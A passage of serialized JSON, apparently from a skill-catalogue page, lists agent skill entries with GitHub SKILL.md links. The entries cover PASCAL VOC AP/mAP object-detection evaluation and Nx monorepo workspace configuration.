AP\u002FmAP semantics, and source-style import diagnostics.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Fpython-api\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":19},"01M7FFFVZQZ2GJ0C0TGP7JHD20","file-evaluation","Folder-based PASCAL VOC AP\u002FmAP evaluation from ground-truth and detection text files.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Ffile-evaluation\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":19},"01M7FFFSFNYSE77SJ6PE1CK2DA","object-detection-metrics","Guides legacy Object-Detection-Metrics PASCAL VOC AP\u002FmAP evaluation from detection text folders and direct Python API classes.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002FSKILL.md",[],[],{"skillNo":95,"name":96,"nameZh":6,"description":97,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":98,"categories":99,"keywords":100,"publishedAt":19},"01M7FFFP0GCK1RVXBCPQ8APBMT","nx-workspace-patterns","Configure and optimize Nx monorepo workspaces. Use when setting up Nx, configuring project boundaries, optimizing build caching, or implementing affected commands.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fnx-workspace-patterns\u002FSKILL.md",[],[]]